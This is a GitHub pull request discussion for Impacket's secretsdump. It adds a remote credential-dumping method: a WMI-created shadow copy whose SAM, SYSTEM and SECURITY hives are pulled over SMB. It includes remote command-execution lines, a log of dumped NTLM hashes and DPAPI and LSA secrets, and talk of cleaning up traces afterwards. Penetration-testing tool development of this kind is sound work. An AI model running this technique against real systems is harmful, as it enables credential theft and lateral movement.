Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

[SECRETSDUMP] New Dump Method - Shadow Snapshot Method via WMI #1719

Merged
merged 20 commits into from
May 13, 2024

Conversation

PeterGabaldon
Copy link
Contributor

@PeterGabaldon PeterGabaldon commented Mar 19, 2024

[UPDATE]

Thanks to @Veids and its advice, it is now working without RCE. It was my mistake that I implemented it bad, but now it is working. SAM/SYSTEM/SECURITY are downloaded via SMB from the Shadow Snapshot. I have to clear a little bit the code, but it is working fine.

#1719 (comment)

A new method for dumping local credentials has been developed that does not depend on the registry. This technique involves creating a Shadow Snapshot on the remote computer through WMI and downloading the SAM, SYSTEM, and SECURITY files for local analysis. Although Impacket implements a method for utilizing Shadow Snapshot, this method is distinct. The method currently in use targets NTDS in Domain Controllers using vssadmin create. Since the create command is not available in vssadmin on client computers, it is not possible to create a Shadow Snapshot remotely with this built-in tool. However, creation is feasible using WMI.

Regrettably, I was unable to find a method to directly access the Shadow Snapshot remotely, leading me to resort to code execution to transfer the SAM, SYSTEM, and SECURITY files to a temporary local directory, which is more intrusive.

Attempts to copy the files via WMI's CIM_LogicalFile were unsuccessful, yet I opted not to remove the __WMIcopy method.

Following the creation of the Shadow Snapshot and the transfer of files to a temporary directory, the SAM, SYSTEM, and SECURITY files are downloaded through SMB and parsed locally.

This update introduces the following parameters:

  • -use-remoteSSMethod: to activate and utilize this method.
  • -remoteSS-remote-volume: designates the remote volume for conducting the Shadow Snapshot and retrieving the SAM, SYSTEM, and SECURITY files. Default is 'C:'.
  • -remoteSS-local-path: Determines the local path for downloading the SAM, SYSTEM, and SECURITY files. Default is '.'.

Example:

The following example use this method: python3 secretsdump.py -use-remoteSSMethod -debug "./Admin:[email protected]"

image

/home/kali/impacket/venv/bin/python /home/kali/impacket/examples/secretsdump.py -use-remoteSSMethod -debug ./Admin:[email protected] 
Impacket v0.12.0.dev1+20240227.200043.e43dcb49 - Copyright 2023 Fortra

[+] Impacket Library Installation Path: /home/kali/impacket/impacket
[*] Creating SS
[+] Target system is 192.168.1.161 and isFQDN is False
[+] StringBinding: DESKTOP-QK4T0E4[49937] 
[+] StringBinding: 192.168.1.161[49937] 
[+] StringBinding chosen: ncacn_ip_tcp:192.168.1.161[49937]
[+] Trying to create SS remotely via WMI
[+] Got ShadowID {06E69E21-FEC9-4621-A8E4-327E13B42A31}
[*] Getting SMB equivalent PATH to access remotely the SS
[+] Target system is 192.168.1.161 and isFQDN is False
[+] StringBinding: DESKTOP-QK4T0E4[49937] 
[+] StringBinding: 192.168.1.161[49937] 
[+] StringBinding chosen: ncacn_ip_tcp:192.168.1.161[49937]
[+] Getting original volume and SS volume via WMI
[+] Got \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy5 \\?\Volume{137c8749-3624-430a-a900-4f98c5f57037}\
[+] Target system is 192.168.1.161 and isFQDN is False
[+] StringBinding: DESKTOP-QK4T0E4[49937] 
[+] StringBinding: 192.168.1.161[49937] 
[+] StringBinding chosen: ncacn_ip_tcp:192.168.1.161[49937]
[+] Getting drive letter via WMI using VolumeName
[+] Performed SS and got info via WMI
[+] Trying to copy the files to Temp directory
[+] ExecuteRemote command: %COMSPEC% /Q /c echo %COMSPEC% /C copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy5\Windows\System32\Config\SAM C:\Windows\Temp\bVIQw8 ^> %SYSTEMROOT%\Temp\__output > %TEMP%\execute.bat & %COMSPEC% /Q /c %TEMP%\execute.bat & del %TEMP%\execute.bat
[+] ExecuteRemote command: %COMSPEC% /Q /c echo %COMSPEC% /C copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy5\Windows\System32\Config\SYSTEM C:\Windows\Temp\LaMHRK ^> %SYSTEMROOT%\Temp\__output > %TEMP%\execute.bat & %COMSPEC% /Q /c %TEMP%\execute.bat & del %TEMP%\execute.bat
[+] ExecuteRemote command: %COMSPEC% /Q /c echo %COMSPEC% /C copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy5\Windows\System32\Config\SECURITY C:\Windows\Temp\5vidNr ^> %SYSTEMROOT%\Temp\__output > %TEMP%\execute.bat & %COMSPEC% /Q /c %TEMP%\execute.bat & del %TEMP%\execute.bat
[+] Downloaded from disk SAM, SYSTEM and SECURITY. Dumping...
[+] Retrieving class info for JD
[+] Unknown type 0xb'6\x00'
[+] Retrieving class info for Skew1
[+] Unknown type 0xb'6\x00'
[+] Retrieving class info for GBG
[+] Unknown type 0xb'9\x00'
[+] Retrieving class info for Data
[+] Unknown type 0xb'a\x00'
[*] Target system bootKey: 0x91e76f131643b25464e818adb2250307
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
[+] Calculating HashedBootKey from SAM
[+] NewStyle hashes is: True
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[+] NewStyle hashes is: True
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[+] NewStyle hashes is: True
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[+] NewStyle hashes is: True
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:4524e498591795ebf803edcafc32800e:::
[+] NewStyle hashes is: True
Admin:1001:aad3b435b51404eeaad3b435b51404ee:7ce21f17c0aee7fb9ceba532d0546ad6:::
[*] Dumping cached domain logon information (domain/username:hash)
[+] Decrypting LSA Key
[+] Decrypting NL$KM
[+] Looking into NL$1
[+] Looking into NL$2
[+] Looking into NL$3
[+] Looking into NL$4
[+] Looking into NL$5
[+] Looking into NL$6
[+] Looking into NL$7
[+] Looking into NL$8
[+] Looking into NL$9
[+] Looking into NL$10
[*] Dumping LSA Secrets
[+] Looking into DPAPI_SYSTEM
[*] DPAPI_SYSTEM 
dpapi_machinekey:0xe5960862f1395520b1cbff6e0744d7b52cafd856
dpapi_userkey:0xd56cb5401bf2d36c5ba528c4485a5d8cc4cc3ac9
[+] Looking into NL$KM
[*] NL$KM 
 0000   CE 1E 70 2A 77 BD 22 AC  D5 55 05 A7 A0 5D A8 96   ..p*w."..U...]..
 0010   47 34 D2 FB BC C1 78 70  01 34 FD 02 1A CC 8B F7   G4....xp.4......
 0020   76 4D C4 10 04 12 67 AC  C1 55 EF 3B C0 AA A5 00   vM....g..U.;....
 0030   F3 DA E8 79 C8 3C 6E D0  1A 93 81 F5 21 65 6D 6A   ...y.<n.....!emj
NL$KM:ce1e702a77bd22acd55505a7a05da8964734d2fbbcc178700134fd021acc8bf7764dc410041267acc155ef3bc0aaa500f3dae879c83c6ed01a9381f521656d6a
[*] Cleaning up... 

Process finished with exit code 0

image

The Shadow Snapshot has been created.

image

And the files were downloaded remotely via SMB.

image

@SAERXCIT
Copy link
Contributor

Hello, this implementation is similar to this PR #1470, now open for more than a year. Hopefully one of these will get merged.

@daviosardinha
Copy link

Hello, I know it may sound stupid from my side, but, is it possible to make it retrieve NTDS.dit file as well?

@PeterGabaldon
Copy link
Contributor Author

PeterGabaldon commented Mar 20, 2024

Hello, I know it may sound stupid from my side, but, is it possible to make it retrieve NTDS.dit file as well?

Hi @daviosardinha, yeah, it could be possible. But I focused on retrieve SAM because impacket already can retrieve NTDS.dit via Shadow Snapshot with the -use-vss parameter. This option (-use-vss) uses a differente aproach, executing "vssadmin create..." remotely.

As @SAERXCIT mentioned, there is a enhanced version of this in this PR #1470 using WMI for retriving NTDS.dit via Shadow Snapshot.

Maybe this two efforts should be combined in order to get all options, SAM, SYSTEM, SECURITY (this PR) and NTDS.dit (@SAERXCIT PR)

@Veids
Copy link

Veids commented Mar 20, 2024

Nice one!
As I remember, there were no problem obtaining SAM from snapshots at least via smbclient.py. Have you tried that?

@PeterGabaldon
Copy link
Contributor Author

Hi @Veids, as far as I have tested I do not think so.

It is possible to list Shadow Snapshot from Impacket's smbclient but apparently not possible to access them.

Also note that the format is incorrect (#1718)

image

image

I have also tried SAMBA smbclient with no success.

image

And in Windows an error is obtained like when accessing SAM/SYSTEM/SECURITY directly on disk.

image

Maybe I am failing at some point, it would be nice if you could give an example please. Thanks!

@PeterGabaldon
Copy link
Contributor Author

I think it would be possible to access the Shadow Snapshot Remotely and copy SAM/SYSTEM/SECURITY via SMB using a Junction Point, but it does not avoid executing code on the target machine as mklink is needed.

image
image

@Veids
Copy link

Veids commented Mar 21, 2024

Well, somehow cd command fails, but you can still enumerate the snapshot:
2024-03-21_07-48

And in order to download:
image

@PeterGabaldon
Copy link
Contributor Author

PeterGabaldon commented Mar 21, 2024

Nice @Veids, thanks mate.

Then I did not implemented it well (19a310c#diff-8a6b9e2198823742cf22bdbbe05f402809f595772c73e31cba6bf5f9aeb7855fR1068)

At my first try, I tried to download them directly through SMB. I am idiot :S. I will review it and try to avoid executing code remotely. Thank you!

@XiaoliChan
Copy link
Contributor

XiaoliChan commented Mar 22, 2024

The __WMIcopy in this case is useless, I think you can clean it up. Others look good! (BTW, don't forget to test it on Windows 2003)

@anadrianmanrique anadrianmanrique added the high High priority item label Apr 11, 2024
@PeterGabaldon
Copy link
Contributor Author

Thanks to @Veids and its advice, it is now working without RCE. It was my mistake that I implemented it bad, but now it is working. SAM/SYSTEM/SECURITY are downloaded via SMB from the Shadow Snapshot. I have to clear a little bit the code, but it is working fine.

image
image

@anadrianmanrique
Copy link
Contributor

reviewing this one

LOG.debug('Got %s %s' % (obj.DeviceObject,obj.VolumeName))
return (obj.DeviceObject,obj.VolumeName)

def __WMIcopy(self, sourcePath, destinationPath):
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

remove unused method

# Trying to avoid RCE and download via SMB

#LOG.debug('Trying to copy the files to Temp directory')
#self.__executeRemote('%%COMSPEC%% /C copy %s\\Windows\\System32\\Config\\SAM %s\\%s' % (ssVolume, pathToCopy, randomNameSAM))
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

remove code commented lines

@anadrianmanrique anadrianmanrique added the waiting for response Further information is needed from people who opened the issue or pull request label May 7, 2024
@anadrianmanrique
Copy link
Contributor

Excellent! One last thing I forgot to mention, is that shadow copies created duting the attack should be deleted. Do you think this could be implemented?

@PeterGabaldon
Copy link
Contributor Author

PeterGabaldon commented May 10, 2024

Ok @anadrianmanrique, I will try to implement that this weekend. Apparently the Delete method is not documented (https://learn.microsoft.com/en-us/previous-versions/windows/desktop/legacy/aa394428(v=vs.85) but it is available also via WMI.

$shadowCopies = Get-WMIObject -Class Win32_ShadowCopy -Computer <TARGET SERVER NAME>
$shadowCopies | % {$_.DeviceObject}  
$shadowCopies | Get-Member -View All
$shadowCopies[0].Delete()            
$shadowCopies.Delete()

@PeterGabaldon
Copy link
Contributor Author

PeterGabaldon commented May 11, 2024

Hi, just to clarify one thing. I have tested it and yes, the SS can be deleted remotely via WMI. I am moving forward to implement it.

The Delete method is inherited from ManagementObject (https://learn.microsoft.com/es-es/dotnet/api/system.management.managementobject?view=dotnet-plat-ext-7.0)

PS C:\Users\Peter> $shadowCopies = Get-WMIObject -Query 'SELECT * FROM Win32_ShadowCopy WHERE ID="{569d2e9f-d38e-4b73-97b7-33b4efa60f45}"' -Credential $creds -Computer 192.168.43.131
PS C:\Users\Peter> $shadowCopies | Get-Member -View All


   TypeName: System.Management.ManagementObject#root\cimv2\Win32_ShadowCopy

Name                      MemberType            Definition
----                      ----------            ----------
PSComputerName            AliasProperty         PSComputerName = __SERVER
Disposed                  Event                 System.EventHandler Disposed(System.Object, System.EventArgs)
Clone                     Method                System.Object Clone(), System.Object ICloneable.Clone()
CompareTo                 Method                bool CompareTo(System.Management.ManagementBaseObject otherObject, S...
CopyTo                    Method                System.Management.ManagementPath CopyTo(System.Management.Management...
CreateObjRef              Method                System.Runtime.Remoting.ObjRef CreateObjRef(type requestedType)
Delete                    Method                void Delete(), void Delete(System.Management.DeleteOptions options),...
Dispose                   Method                void Dispose(), void IDisposable.Dispose()
Equals                    Method                bool Equals(System.Object obj)
Get                       Method                void Get(), void Get(System.Management.ManagementOperationObserver w...
GetHashCode               Method                int GetHashCode()
GetLifetimeService        Method                System.Object GetLifetimeService()
GetMethodParameters       Method                System.Management.ManagementBaseObject GetMethodParameters(string me...
GetObjectData             Method                void ISerializable.GetObjectData(System.Runtime.Serialization.Serial...
GetPropertyQualifierValue Method                System.Object GetPropertyQualifierValue(string propertyName, string ...
GetPropertyValue          Method                System.Object GetPropertyValue(string propertyName)
GetQualifierValue         Method                System.Object GetQualifierValue(string qualifierName)
GetRelated                Method                System.Management.ManagementObjectCollection GetRelated(), System.Ma...
GetRelationships          Method                System.Management.ManagementObjectCollection GetRelationships(), Sys...
GetText                   Method                string GetText(System.Management.TextFormat format)
GetType                   Method                type GetType()
InitializeLifetimeService Method                System.Object InitializeLifetimeService()
InvokeMethod              Method                System.Object InvokeMethod(string methodName, System.Object[] args),...
Put                       Method                System.Management.ManagementPath Put(), System.Management.Management...
Revert                    Method                System.Management.ManagementBaseObject Revert(System.Boolean ForceDi...
SetPropertyQualifierValue Method                void SetPropertyQualifierValue(string propertyName, string qualifier...
SetPropertyValue          Method                void SetPropertyValue(string propertyName, System.Object propertyValue)
SetQualifierValue         Method                void SetQualifierValue(string qualifierName, System.Object qualifier...
ToString                  Method                string ToString()
Item                      ParameterizedProperty System.Object Item(string propertyName) {get;set;}
Caption                   Property              string Caption {get;set;}
ClassPath                 Property              System.Management.ManagementPath ClassPath {get;}
ClientAccessible          Property              bool ClientAccessible {get;set;}
Container                 Property              System.ComponentModel.IContainer Container {get;}
Count                     Property              uint32 Count {get;set;}
Description               Property              string Description {get;set;}
DeviceObject              Property              string DeviceObject {get;set;}
Differential              Property              bool Differential {get;set;}
ExposedLocally            Property              bool ExposedLocally {get;set;}
ExposedName               Property              string ExposedName {get;set;}
ExposedPath               Property              string ExposedPath {get;set;}
ExposedRemotely           Property              bool ExposedRemotely {get;set;}
HardwareAssisted          Property              bool HardwareAssisted {get;set;}
ID                        Property              string ID {get;set;}
Imported                  Property              bool Imported {get;set;}
InstallDate               Property              string InstallDate {get;set;}
Name                      Property              string Name {get;set;}
NoAutoRelease             Property              bool NoAutoRelease {get;set;}
NotSurfaced               Property              bool NotSurfaced {get;set;}
NoWriters                 Property              bool NoWriters {get;set;}
Options                   Property              System.Management.ObjectGetOptions Options {get;set;}
OriginatingMachine        Property              string OriginatingMachine {get;set;}
Path                      Property              System.Management.ManagementPath Path {get;set;}
Persistent                Property              bool Persistent {get;set;}
Plex                      Property              bool Plex {get;set;}
Properties                Property              System.Management.PropertyDataCollection Properties {get;}
ProviderID                Property              string ProviderID {get;set;}
Qualifiers                Property              System.Management.QualifierDataCollection Qualifiers {get;}
Scope                     Property              System.Management.ManagementScope Scope {get;set;}
ServiceMachine            Property              string ServiceMachine {get;set;}
SetID                     Property              string SetID {get;set;}
Site                      Property              System.ComponentModel.ISite Site {get;set;}
State                     Property              uint32 State {get;set;}
Status                    Property              string Status {get;set;}
SystemProperties          Property              System.Management.PropertyDataCollection SystemProperties {get;}
Transportable             Property              bool Transportable {get;set;}
VolumeName                Property              string VolumeName {get;set;}
__CLASS                   Property              string __CLASS {get;set;}
__DERIVATION              Property              string[] __DERIVATION {get;set;}
__DYNASTY                 Property              string __DYNASTY {get;set;}
__GENUS                   Property              int __GENUS {get;set;}
__NAMESPACE               Property              string __NAMESPACE {get;set;}
__PATH                    Property              string __PATH {get;set;}
__PROPERTY_COUNT          Property              int __PROPERTY_COUNT {get;set;}
__RELPATH                 Property              string __RELPATH {get;set;}
__SERVER                  Property              string __SERVER {get;set;}
__SUPERCLASS              Property              string __SUPERCLASS {get;set;}
ConvertFromDateTime       ScriptMethod          System.Object ConvertFromDateTime();
ConvertToDateTime         ScriptMethod          System.Object ConvertToDateTime();

image
image

@PeterGabaldon
Copy link
Contributor Author

Shadow Snapshot is now deleted after downloading SAM/SYSTEM/SECURITY

The Delete method of ManagementObject (https://learn.microsoft.com/es-es/dotnet/api/system.management.managementobject?view=dotnet-plat-ext-7.0) actually is a call to DeleteInstance or DeleteClass.

The implementation of the .NET method can be found here: https://github.com/dotnet/runtime/blob/d099f075e45d2aa6007a22b71b45a08758559f80/src/libraries/System.Management/src/System/Management/ManagementObject.cs#L1939.

image
image

@anadrianmanrique
Copy link
Contributor

Great job! Thanks for your PR. Now merging

@anadrianmanrique anadrianmanrique merged commit e692d90 into fortra:master May 13, 2024
9 checks passed
@PeterGabaldon
Copy link
Contributor Author

Hi @anadrianmanrique, a blank file called SAM' was at the root of the repo and has been pushed.

image
image

I didn´t detected that mistake, I am sorry about that.

@anadrianmanrique
Copy link
Contributor

thanks for letting me know!

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
high High priority item waiting for response Further information is needed from people who opened the issue or pull request
Projects
None yet
Development

Successfully merging this pull request may close these issues.

6 participants